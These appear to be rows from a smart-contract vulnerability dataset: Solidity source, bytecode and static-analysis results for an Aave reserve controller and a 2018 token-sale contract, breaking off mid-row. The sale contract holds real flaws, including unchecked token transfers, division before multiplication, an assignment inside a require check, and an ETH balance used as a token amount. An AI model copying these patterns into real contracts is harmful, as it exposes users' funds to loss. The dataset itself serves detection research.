* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IStreamable {
struct Stream {
uint256 deposit;
uint256 ratePerSecond;
uint256 remainingBalance;
uint256 startTime;
uint256 stopTime;
address recipient;
address sender;
address tokenAddress;
bool isEntity;
}
event CreateStream(
uint256 indexed streamId,
address indexed sender,
address indexed recipient,
uint256 deposit,
address tokenAddress,
uint256 startTime,
uint256 stopTime
);
event WithdrawFromStream(
uint256 indexed streamId,
address indexed recipient,
uint256 amount
);
event CancelStream(
uint256 indexed streamId,
address indexed sender,
address indexed recipient,
uint256 senderBalance,
uint256 recipientBalance
);
function balanceOf(uint256 streamId, address who)
external
view
returns (uint256 balance);
function getStream(uint256 streamId)
external
view
returns (
address sender,
address recipient,
uint256 deposit,
address token,
uint256 startTime,
uint256 stopTime,
uint256 remainingBalance,
uint256 ratePerSecond
);
function createStream(
address recipient,
uint256 deposit,
address tokenAddress,
uint256 startTime,
uint256 stopTime
) external returns (uint256 streamId);
function withdrawFromStream(uint256 streamId, uint256 funds)
external
returns (bool);
function cancelStream(uint256 streamId) external returns (bool);
function initialize(address fundsAdmin) external;
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IAdminControlledEcosystemReserve {
/** @notice Emitted when the funds admin changes
* @param fundsAdmin The new funds admin
**/
event NewFundsAdmin(address indexed fundsAdmin);
/** @notice Returns the mock ETH reference address
* @return address The address
**/
function ETH_MOCK_ADDRESS() external pure returns (address);
/**
* @notice Return the funds admin, only entity to be able to interact with this contract (controller of reserve)
* @return address The address of the funds admin
**/
function getFundsAdmin() external view returns (address);
/**
* @dev Function for the funds admin to give ERC20 allowance to other parties
* @param token The address of the token to give allowance from
* @param recipient Allowance's recipient
* @param amount Allowance to approve
**/
function approve(
IERC20 token,
address recipient,
uint256 amount
) external;
/**
* @notice Function for the funds admin to transfer ERC20 tokens to other parties
* @param token The address of the token to transfer
* @param recipient Transfer's recipient
* @param amount Amount to transfer
**/
function transfer(
IERC20 token,
address recipient,
uint256 amount
) external;
}
interface IAaveEcosystemReserveController {
/**
* @notice Proxy function for ERC20's approve(), pointing to a specific collector contract
* @param collector The collector contract with funds (Aave ecosystem reserve)
* @param token The asset address
* @param recipient Allowance's recipient
* @param amount Allowance to approve
**/
function approve(
address collector,
IERC20 token,
address recipient,
uint256 amount
) external;
/**
* @notice Proxy function for ERC20's transfer(), pointing to a specific collector contract
* @param collector The collector contract with funds (Aave ecosystem reserve)
* @param token The asset address
* @param recipient Transfer's recipient
* @param amount Amount to transfer
**/
function transfer(
address collector,
IERC20 token,
address recipient,
uint256 amount
) external;
/**
* @notice Proxy function to create a stream of token on a specific collector contract
* @param collector The collector contract with funds (Aave ecosystem reserve)
* @param recipient The recipient of the stream of token
* @param deposit Total amount to be streamed
* @param tokenAddress The ERC20 token to use as streaming asset
* @param startTime The unix timestamp for when the stream starts
* @param stopTime The unix timestamp for when the stream stops
* @return uint256 The stream id created
**/
function createStream(
address collector,
address recipient,
uint256 deposit,
IERC20 tokenAddress,
uint256 startTime,
uint256 stopTime
) external returns (uint256);
/**
* @notice Proxy function to withdraw from a stream of token on a specific collector contract
* @param collector The collector contract with funds (Aave ecosystem reserve)
* @param streamId The id of the stream to withdraw tokens from
* @param funds Amount to withdraw
* @return bool If the withdrawal finished properly
**/
function withdrawFromStream(
address collector,
uint256 streamId,
uint256 funds
) external returns (bool);
/**
* @notice Proxy function to cancel a stream of token on a specific collector contract
* @param collector The collector contract with funds (Aave ecosystem reserve)
* @param streamId The id of the stream to cancel
* @return bool If the cancellation happened correctly
**/
function cancelStream(address collector, uint256 streamId)
external
returns (bool);
}
contract AaveEcosystemReserveController is
Ownable,
IAaveEcosystemReserveController
{
/**
* @notice Constructor.
* @param aaveGovShortTimelock The address of the Aave's governance executor, owning this contract
*/
constructor(address aaveGovShortTimelock) {
transferOwnership(aaveGovShortTimelock);
}
/// @inheritdoc IAaveEcosystemReserveController
function approve(
address collector,
IERC20 token,
address recipient,
uint256 amount
) external onlyOwner {
IAdminControlledEcosystemReserve(collector).approve(
token,
recipient,
amount
);
}
/// @inheritdoc IAaveEcosystemReserveController
function transfer(
address collector,
IERC20 token,
address recipient,
uint256 amount
) external onlyOwner {
IAdminControlledEcosystemReserve(collector).transfer(
token,
recipient,
amount
);
}
/// @inheritdoc IAaveEcosystemReserveController
function createStream(
address collector,
address recipient,
uint256 deposit,
IERC20 tokenAddress,
uint256 startTime,
uint256 stopTime
) external onlyOwner returns (uint256) {
return
IStreamable(collector).createStream(
recipient,
deposit,
address(tokenAddress),
startTime,
stopTime
);
}
/// @inheritdoc IAaveEcosystemReserveController
function withdrawFromStream(
address collector,
uint256 streamId,
uint256 funds
) external onlyOwner returns (bool) {
return IStreamable(collector).withdrawFromStream(streamId, funds);
}
/// @inheritdoc IAaveEcosystemReserveController
function cancelStream(address collector, uint256 streamId)
external
onlyOwner
returns (bool)
{
return IStreamable(collector).cancelStream(streamId);
}
} | 0x608060405234801561001057600080fd5b50600436106100885760003560e01c80638da5cb5b1161005b5780638da5cb5b146100e5578063f18d03cc14610100578063f2fde38b14610113578063fd59e1341461012657600080fd5b80632f436bfa1461008d57806359eba454146100b5578063715018a6146100ca5780637dc14a8e146100d2575b600080fd5b6100a061009b366004610589565b610147565b60405190151581526020015b60405180910390f35b6100c86100c33660046105be565b6101f5565b005b6100c8610290565b6100a06100e036600461060f565b6102c6565b6000546040516001600160a01b0390911681526020016100ac565b6100c861010e3660046105be565b610363565b6100c861012136600461063b565b6103ca565b610139610134366004610658565b610465565b6040519081526020016100ac565b600080546001600160a01b0316331461017b5760405162461bcd60e51b8152600401610172906106bd565b60405180910390fd5b604051631ea6cb1b60e21b815260048101849052602481018390526001600160a01b03851690637a9b2c6c906044016020604051808303816000875af11580156101c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101ed91906106f2565b949350505050565b6000546001600160a01b0316331461021f5760405162461bcd60e51b8152600401610172906106bd565b60405163e1f21c6760e01b81526001600160a01b03848116600483015283811660248301526044820183905285169063e1f21c67906064015b600060405180830381600087803b15801561027257600080fd5b505af1158015610286573d6000803e3d6000fd5b5050505050505050565b6000546001600160a01b031633146102ba5760405162461bcd60e51b8152600401610172906106bd565b6102c46000610524565b565b600080546001600160a01b031633146102f15760405162461bcd60e51b8152600401610172906106bd565b604051636db9241b60e01b8152600481018390526001600160a01b03841690636db9241b906024016020604051808303816000875af1158015610338573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061035c91906106f2565b9392505050565b6000546001600160a01b0316331461038d5760405162461bcd60e51b8152600401610172906106bd565b6040516317d5759960e31b81526001600160a01b03848116600483015283811660248301526044820183905285169063beabacc890606401610258565b6000546001600160a01b031633146103f45760405162461bcd60e51b8152600401610172906106bd565b6001600160a01b0381166104595760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610172565b61046281610524565b50565b600080546001600160a01b031633146104905760405162461bcd60e51b8152600401610172906106bd565b60405163660da5fb60e11b81526001600160a01b038781166004830152602482018790528581166044830152606482018590526084820184905288169063cc1b4bf69060a4016020604051808303816000875af11580156104f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105199190610714565b979650505050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461046257600080fd5b60008060006060848603121561059e57600080fd5b83356105a981610574565b95602085013595506040909401359392505050565b600080600080608085870312156105d457600080fd5b84356105df81610574565b935060208501356105ef81610574565b925060408501356105ff81610574565b9396929550929360600135925050565b6000806040838503121561062257600080fd5b823561062d81610574565b946020939093013593505050565b60006020828403121561064d57600080fd5b813561035c81610574565b60008060008060008060c0878903121561067157600080fd5b863561067c81610574565b9550602087013561068c81610574565b94506040870135935060608701356106a381610574565b9598949750929560808101359460a0909101359350915050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561070457600080fd5b8151801515811461035c57600080fd5b60006020828403121561072657600080fd5b505191905056fea26469706673582212204779d342467c7c0a113002ce3201d9ac1c081eebfe13a5a40addb0b05c6efcba64736f6c634300080b0033 | {"success": true, "error": null, "results": {}} | 835 |
0x1be138effe5fa00b4c2d5ec62b8d555646389476 | pragma solidity 0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transfer(address _to, uint256 _amount) external returns (bool success);
function balanceOf(address _owner) external view returns (uint256 balance);
function decimals()external view returns (uint8);
}
/**
* @title Vault
* @dev This contract is used for storing funds while a crowdsale
* is in progress. Funds will be transferred to owner once sale ends
*/
contract Vault is Ownable {
using SafeMath for uint256;
mapping (address => uint256) public deposited;
address public wallet;
event Withdrawn(address _wallet);
constructor (address _wallet) public {
require(_wallet != address(0));
wallet = _wallet;
}
function deposit(address investor) public onlyOwner payable{
deposited[investor] = deposited[investor].add(msg.value);
}
function withdrawToWallet() onlyOwner public{
wallet.transfer(address(this).balance);
emit Withdrawn(wallet);
}
}
contract ESTTokenSale is Ownable{
using SafeMath for uint256;
//Token to be used for this sale
Token public token;
//All funds will go into this vault
Vault public vault;
// This mapping stores the addresses of whitelisted users
mapping(address => bool) public whitelisted;
//rate of token : 1 EST = 0.00005804 ETH
uint256 public rate = 58040000000000;
/*
*There will be 4 phases
* 1. Pre-sale
* 2. ICO Phase 1
* 3. ICO Phase 2
* 4. ICO Phase 3
*/
struct PhaseInfo{
uint256 cummulativeHardCap;
uint256 startTime;
uint256 endTime;
uint8 bonusPercentages;
uint256 weiRaised;
}
//info of each phase
PhaseInfo[] public phases;
//Total funding
uint256 public totalFunding;
//total tokens available for sale
uint256 tokensAvailableForSale = 45050000000000000; //considering 8 decimal places
uint8 public noOfPhases;
//Keep track of whether contract is up or not
bool public contractUp;
//Keep track of whether the sale has ended or not
bool public saleEnded;
//Event to trigger Sale stop
event SaleStopped(address _owner, uint256 time);
//Event to trigger normal flow of sale end
event SaleEnded(address _owner, uint256 time);
//Event to add user to the whitelist
event LogUserAdded(address user);
//Event to remove user to the whitelist
event LogUserRemoved(address user);
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
//modifiers
modifier _contractUp(){
require(contractUp);
_;
}
modifier nonZeroAddress(address _to) {
require(_to != address(0));
_;
}
modifier _saleEnded() {
require(saleEnded);
_;
}
modifier _saleNotEnded() {
require(!saleEnded);
_;
}
/**
* @dev Check if sale contract has enough tokens on its account balance
* to reward all possible participations within sale period
*/
function powerUpContract() external onlyOwner {
// Contract should not be powered up previously
require(!contractUp);
// Contract should have enough EST credits
require(token.balanceOf(this) >= tokensAvailableForSale);
//activate the sale process
contractUp = true;
}
//for Emergency/Hard stop of the sale
function emergencyStop() external onlyOwner _contractUp _saleNotEnded{
saleEnded = true;
emit SaleStopped(msg.sender, now);
}
/**
* @dev Must be called to end the sale
*/
function endSale() public onlyOwner _contractUp _saleNotEnded {
require(saleTimeOver());
saleEnded = true;
emit SaleEnded(msg.sender, now);
}
// @return true if all the tiers has been ended
function saleTimeOver() public view returns (bool) {
return now > phases[noOfPhases-1].endTime;
}
/**
* @dev Can be called only once. The method to allow owner to set tier information
* @param _noOfPhases The integer to set number of tiers
* @param _startTimes The array containing start time of each tier
* @param _endTimes The array containing end time of each tier
* @param _cummulativeHardCaps The array containing cumulative hard cap for each tier
* @param _bonusPercentages The array containing bonus percentage for each tier
* The arrays should be in sync with each other. For each index 0 for each of the array should contain info about Tier 1, similarly for Tier2, 3 and 4 .
* Sales hard cap will be the hard cap of last tier
*/
function setTiersInfo(uint8 _noOfPhases, uint256[] _startTimes, uint256[] _endTimes, uint256[] _cummulativeHardCaps, uint8[4] _bonusPercentages)private {
require(_noOfPhases == 4);
//Each array should contain info about each tier
require(_startTimes.length == _noOfPhases);
require(_endTimes.length ==_noOfPhases);
require(_cummulativeHardCaps.length ==_noOfPhases);
require(_bonusPercentages.length ==_noOfPhases);
noOfPhases = _noOfPhases;
for(uint8 i = 0; i < _noOfPhases; i++){
require(_cummulativeHardCaps[i] > 0);
require(_endTimes[i] > _startTimes[i]);
if(i > 0){
//start time of this tier should be greater than previous tier
require(_startTimes[i] > _endTimes[i-1]);
phases.push(PhaseInfo({
cummulativeHardCap:_cummulativeHardCaps[i],
startTime:_startTimes[i],
endTime:_endTimes[i],
bonusPercentages:_bonusPercentages[i],
weiRaised:0
}));
}
else{
//start time of tier1 should be greater than current time
require(_startTimes[i] > now);
phases.push(PhaseInfo({
cummulativeHardCap:_cummulativeHardCaps[i],
startTime:_startTimes[i],
endTime:_endTimes[i],
bonusPercentages:_bonusPercentages[i],
weiRaised:0
}));
}
}
}
/**
* @dev Constructor method
* @param _tokenToBeUsed Address of the token to be used for Sales
* @param _wallet Address of the wallet which will receive the collected funds
*/
constructor (address _tokenToBeUsed, address _wallet)public nonZeroAddress(_tokenToBeUsed) nonZeroAddress(_wallet){
token = Token(_tokenToBeUsed);
vault = new Vault(_wallet);
uint256[] memory startTimes = new uint256[](4);
uint256[] memory endTimes = new uint256[](4);
uint256[] memory cummulativeHardCaps = new uint256[](4);
uint8 [4] memory bonusPercentages;
//pre-sales
startTimes[0] = 1532044800; //JULY 20, 2018 12:00:00 AM GMT
endTimes[0] = 1535759999; //AUGUST 31, 2018 11:59:59 PM GMT
cummulativeHardCaps[0] = 2107040600000000000000 wei;
bonusPercentages[0] = 67;
//phase-1
startTimes[1] = 1535846400; //SEPTEMBER 02, 2018 12:00:00 AM GMT
endTimes[1] = 1539647999; //OCTOBER 15, 2018 11:59:59 PM GMT
cummulativeHardCaps[1] = 7766345900000000000000 wei;
bonusPercentages[1] = 33;
//phase-2
startTimes[2] = 1539648000; //OCTOBER 16, 2018 12:00:00 AM GMT
endTimes[2] = 1543622399; //NOVEMBER 30, 2018 11:59:59 PM GMT
cummulativeHardCaps[2] = 14180545900000000000000 wei;
bonusPercentages[2] = 18;
//phase-3
startTimes[3] = 1543622400; //DECEMBER 01, 2018 12:00:00 AM GMT
endTimes[3] = 1546300799; //DECEMBER 31, 2018 11:59:59 PM GMT
cummulativeHardCaps[3] = 21197987200000000000000 wei;
bonusPercentages[3] = 8;
setTiersInfo(4, startTimes, endTimes, cummulativeHardCaps, bonusPercentages);
}
//Fallback function used to buytokens
function()public payable{
buyTokens(msg.sender);
}
function getFundingInfoOfPhase(uint8 phase) public view returns (uint256){
PhaseInfo storage currentlyRunningPhase = phases[uint256(phase)];
return currentlyRunningPhase.weiRaised;
}
/**
* @dev Low level token purchase function
* @param beneficiary The address who will receive the tokens for this transaction
*/
function buyTokens(address beneficiary)public _contractUp _saleNotEnded nonZeroAddress(beneficiary) payable returns(bool){
require(whitelisted[beneficiary]);
int8 currentPhaseIndex = getCurrentlyRunningPhase();
assert(currentPhaseIndex >= 0);
// recheck this for storage and memory
PhaseInfo storage currentlyRunningPhase = phases[uint256(currentPhaseIndex)];
uint256 weiAmount = msg.value;
//Check cummulative Hard Cap for this phase has not been reached
require(weiAmount.add(totalFunding) <= currentlyRunningPhase.cummulativeHardCap);
uint256 tokens = weiAmount.div(rate).mul(100000000);//considering decimal places to be 8 for token
uint256 bonusedTokens = applyBonus(tokens, currentlyRunningPhase.bonusPercentages);
totalFunding = totalFunding.add(weiAmount);
currentlyRunningPhase.weiRaised = currentlyRunningPhase.weiRaised.add(weiAmount);
vault.deposit.value(msg.value)(msg.sender);
token.transfer(beneficiary, bonusedTokens);
emit TokenPurchase(msg.sender, beneficiary, weiAmount, bonusedTokens);
return true;
}
/**
*@dev Method to calculate bonus for the user as per currently running phase and contribution by the user
* @param tokens Total tokens purchased by the user
* @param percentage of bonus for the phase
*/
function applyBonus(uint256 tokens, uint8 percentage) private pure returns (uint256) {
uint256 tokensToAdd = 0;
tokensToAdd = tokens.mul(percentage).div(100);
return tokens.add(tokensToAdd);
}
/**
* @dev returns the currently running tier index as per time
* Return -1 if no tier is running currently
* */
function getCurrentlyRunningPhase()public view returns(int8){
for(uint8 i = 0; i < noOfPhases; i++){
if(now >= phases[i].startTime && now <= phases[i].endTime){
return int8(i);
}
}
return -1;
}
// Add a user to the whitelist
function addUser(address user) public nonZeroAddress(user) onlyOwner returns (bool) {
require(whitelisted[user] == false);
whitelisted[user] = true;
emit LogUserAdded(user);
return true;
}
// Remove an user from the whitelist
function removeUser(address user) public nonZeroAddress(user) onlyOwner returns(bool){
require(whitelisted[user] = true);
whitelisted[user] = false;
emit LogUserRemoved(user);
return true;
}
// Add many users in one go to the whitelist
function addManyUsers(address[] users)public onlyOwner {
require(users.length < 100);
for (uint8 index = 0; index < users.length; index++) {
whitelisted[users[index]] = true;
emit LogUserAdded(users[index]);
}
}
//Method to check whether a user is there in the whitelist or not
function checkUser(address user) onlyOwner public view returns (bool){
return whitelisted[user];
}
/**
* @dev Get funding info of user/address. It will return how much funding the user has made in terms of wei
*/
function getFundingInfoForUser(address _user)public view nonZeroAddress(_user) returns(uint256){
return vault.deposited(_user);
}
/**
*@dev Method to transfer all remanining tokens left to owner left with the sales contract after the sale has ended
*/
function transferRemainingTokens()public onlyOwner _contractUp _saleEnded {
token.transfer(msg.sender,address(this).balance);
}
//method to check how many tokens are left
function tokensLeftForSale() public view returns (uint256){
return token.balanceOf(address(this));
}
//method to check the user balance
function checkUserTokenBalance(address _user) public view returns(uint256) {
return token.balanceOf(_user);
}
//method to check how many tokens have been sold out till now out of 450.5 Million
function tokensSold() public view returns (uint256) {
return tokensAvailableForSale.sub(token.balanceOf(address(this)));
}
//Allowing owner to transfer the money rasied to the wallet address
function withDrawFunds()public onlyOwner _contractUp {
vault.withdrawToWallet();
}
} | 0x6080604052600436106101695763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306d145c981146101755780631a6d7561146101a85780631b35f56f146101c35780631e9d48cf146101f15780632c4e722e146102265780632e37eef61461023b578063380d831b146102815780633a7befc614610298578063421b2d8b146102b9578063518ab2a8146102da5780635b389dbb146102ef57806363a599a41461030457806363cc4aa2146103195780638b6932f11461032e5780638da5cb5b1461034357806396b58ac81461037457806398575188146103895780639b8906ae146103aa578063a0edc204146103bf578063ac270c37146103ea578063b78da386146103ff578063d936547e14610414578063ec8ac4d814610435578063ed28ef5114610449578063f2fde38b1461049e578063fbfa77cf146104bf578063fc0c546a146104d4578063fe47a8a7146104e9575b610172336104fe565b50005b34801561018157600080fd5b50610196600160a060020a03600435166107bc565b60408051918252519081900360200190f35b3480156101b457600080fd5b5061019660ff6004351661086f565b3480156101cf57600080fd5b506101d861089f565b60408051600092830b90920b8252519081900360200190f35b3480156101fd57600080fd5b50610212600160a060020a0360043516610927565b604080519115158252519081900360200190f35b34801561023257600080fd5b5061019661095e565b34801561024757600080fd5b50610253600435610964565b6040805195865260208601949094528484019290925260ff1660608401526080830152519081900360a00190f35b34801561028d57600080fd5b506102966109a9565b005b3480156102a457600080fd5b50610196600160a060020a0360043516610a4c565b3480156102c557600080fd5b50610212600160a060020a0360043516610ad3565b3480156102e657600080fd5b50610196610b89565b3480156102fb57600080fd5b50610296610c1f565b34801561031057600080fd5b50610296610ce6565b34801561032557600080fd5b50610296610d76565b34801561033a57600080fd5b50610212610e55565b34801561034f57600080fd5b50610358610e8b565b60408051600160a060020a039092168252519081900360200190f35b34801561038057600080fd5b50610196610e9a565b34801561039557600080fd5b50610212600160a060020a0360043516610f1a565b3480156103b657600080fd5b50610212610fad565b3480156103cb57600080fd5b506103d4610fbc565b6040805160ff9092168252519081900360200190f35b3480156103f657600080fd5b50610212610fc5565b34801561040b57600080fd5b50610296610fd3565b34801561042057600080fd5b50610212600160a060020a0360043516611086565b610212600160a060020a03600435166104fe565b34801561045557600080fd5b50604080516020600480358082013583810280860185019096528085526102969536959394602494938501929182918501908490808284375094975061109b9650505050505050565b3480156104aa57600080fd5b50610296600160a060020a036004351661117b565b3480156104cb57600080fd5b5061035861120f565b3480156104e057600080fd5b5061035861121e565b3480156104f557600080fd5b5061019661122d565b600080600080600080600860019054906101000a900460ff16151561052257600080fd5b60085462010000900460ff161561053857600080fd5b86600160a060020a038116151561054e57600080fd5b600160a060020a03881660009081526003602052604090205460ff16151561057557600080fd5b61057d61089f565b9550600086810b121561058c57fe5b60058660000b81548110151561059e57fe5b9060005260206000209060050201945034935084600001546105cb6006548661123390919063ffffffff16565b11156105d657600080fd5b6105ff6305f5e1006105f36004548761124d90919063ffffffff16565b9063ffffffff61126416565b600386015490935061061590849060ff1661128f565b60065490925061062b908563ffffffff61123316565b6006556004850154610643908563ffffffff61123316565b600480870191909155600254604080517ff340fa01000000000000000000000000000000000000000000000000000000008152339381019390935251600160a060020a039091169163f340fa0191349160248082019260009290919082900301818588803b1580156106b457600080fd5b505af11580156106c8573d6000803e3d6000fd5b5050600154604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038e8116600483015260248201899052915191909216945063a9059cbb9350604480830193506020928290030181600087803b15801561073a57600080fd5b505af115801561074e573d6000803e3d6000fd5b505050506040513d602081101561076457600080fd5b505060408051858152602081018490528151600160a060020a038b169233927f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad18929081900390910190a3506001979650505050505050565b600081600160a060020a03811615156107d457600080fd5b600254604080517fcb13cddb000000000000000000000000000000000000000000000000000000008152600160a060020a0386811660048301529151919092169163cb13cddb9160248083019260209291908290030181600087803b15801561083c57600080fd5b505af1158015610850573d6000803e3d6000fd5b505050506040513d602081101561086657600080fd5b50519392505050565b60008060058360ff1681548110151561088457fe5b60009182526020909120600460059092020101549392505050565b6000805b60085460ff908116908216101561091d576005805460ff83169081106108c557fe5b906000526020600020906005020160010154421015801561090857506005805460ff83169081106108f257fe5b9060005260206000209060050201600201544211155b1561091557809150610923565b6001016108a3565b60001991505b5090565b60008054600160a060020a0316331461093f57600080fd5b50600160a060020a031660009081526003602052604090205460ff1690565b60045481565b600580548290811061097257fe5b6000918252602090912060059091020180546001820154600283015460038401546004909401549294509092909160ff9091169085565b600054600160a060020a031633146109c057600080fd5b600854610100900460ff1615156109d657600080fd5b60085462010000900460ff16156109ec57600080fd5b6109f4610e55565b15156109ff57600080fd5b6008805462ff00001916620100001790556040805133815242602082015281517f349f939aaa1895cee67485b264474f0d2a1aac01083917b8ea9f96e4036cbb27929181900390910190a1565b6001546040805160e060020a6370a08231028152600160a060020a038481166004830152915160009392909216916370a082319160248082019260209290919082900301818787803b158015610aa157600080fd5b505af1158015610ab5573d6000803e3d6000fd5b505050506040513d6020811015610acb57600080fd5b505192915050565b600081600160a060020a0381161515610aeb57600080fd5b600054600160a060020a03163314610b0257600080fd5b600160a060020a03831660009081526003602052604090205460ff1615610b2857600080fd5b600160a060020a038316600081815260036020908152604091829020805460ff19166001179055815192835290517f187047b56eb20e7a0313254e37dc60b8c1a9d25707114d2caaaee420b2b7ec239281900390910190a150600192915050565b6001546040805160e060020a6370a082310281523060048201529051600092610c1a92600160a060020a03909116916370a082319160248082019260209290919082900301818887803b158015610bdf57600080fd5b505af1158015610bf3573d6000803e3d6000fd5b505050506040513d6020811015610c0957600080fd5b50516007549063ffffffff6112d016565b905090565b600054600160a060020a03163314610c3657600080fd5b600854610100900460ff1615610c4b57600080fd5b6007546001546040805160e060020a6370a082310281523060048201529051600160a060020a03909216916370a08231916024808201926020929091908290030181600087803b158015610c9e57600080fd5b505af1158015610cb2573d6000803e3d6000fd5b505050506040513d6020811015610cc857600080fd5b50511015610cd557600080fd5b6008805461ff001916610100179055565b600054600160a060020a03163314610cfd57600080fd5b600854610100900460ff161515610d1357600080fd5b60085462010000900460ff1615610d2957600080fd5b6008805462ff00001916620100001790556040805133815242602082015281517f4898556e3bd8b06263e50e938f30f736c1fd2030390474dd6bc0b28d8c545037929181900390910190a1565b600054600160a060020a03163314610d8d57600080fd5b600854610100900460ff161515610da357600080fd5b60085462010000900460ff161515610dba57600080fd5b600154604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152336004820152303160248201529051600160a060020a039092169163a9059cbb916044808201926020929091908290030181600087803b158015610e2757600080fd5b505af1158015610e3b573d6000803e3d6000fd5b505050506040513d6020811015610e5157600080fd5b5050565b6008546005805460009260001960ff9182160116908110610e7257fe5b9060005260206000209060050201600201544211905090565b600054600160a060020a031681565b6001546040805160e060020a6370a082310281523060048201529051600092600160a060020a0316916370a0823191602480830192602092919082900301818787803b158015610ee957600080fd5b505af1158015610efd573d6000803e3d6000fd5b505050506040513d6020811015610f1357600080fd5b5051905090565b600081600160a060020a0381161515610f3257600080fd5b600054600160a060020a03163314610f4957600080fd5b600160a060020a0383166000818152600360209081526040918290208054600160ff1991821617169055815192835290517f820cfa068d67f8bd8bb05be4525aca026c8a81dd1925efc320ecd01ab716569f9281900390910190a150600192915050565b60085462010000900460ff1681565b60085460ff1681565b600854610100900460ff1681565b600054600160a060020a03163314610fea57600080fd5b600854610100900460ff16151561100057600080fd5b600260009054906101000a9004600160a060020a0316600160a060020a03166303ba27f66040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b15801561106c57600080fd5b505af1158015611080573d6000803e3d6000fd5b50505050565b60036020526000908152604090205460ff1681565b60008054600160a060020a031633146110b357600080fd5b81516064116110c157600080fd5b5060005b81518160ff161015610e5157600160036000848460ff168151811015156110e857fe5b602090810291909101810151600160a060020a03168252810191909152604001600020805460ff191691151591909117905581517f187047b56eb20e7a0313254e37dc60b8c1a9d25707114d2caaaee420b2b7ec2390839060ff841690811061114d57fe5b602090810290910181015160408051600160a060020a039092168252519081900390910190a16001016110c5565b600054600160a060020a0316331461119257600080fd5b600160a060020a03811615156111a757600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600254600160a060020a031681565b600154600160a060020a031681565b60065481565b60008282018381101561124257fe5b8091505b5092915050565b600080828481151561125b57fe5b04949350505050565b6000808315156112775760009150611246565b5082820282848281151561128757fe5b041461124257fe5b6000806112b660646112aa8660ff871663ffffffff61126416565b9063ffffffff61124d16565b90506112c8848263ffffffff61123316565b949350505050565b6000828211156112dc57fe5b509003905600a165627a7a72305820064ec42f9efed12118d439d7079466b11ae316720b080232313ac6d314f233850029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, 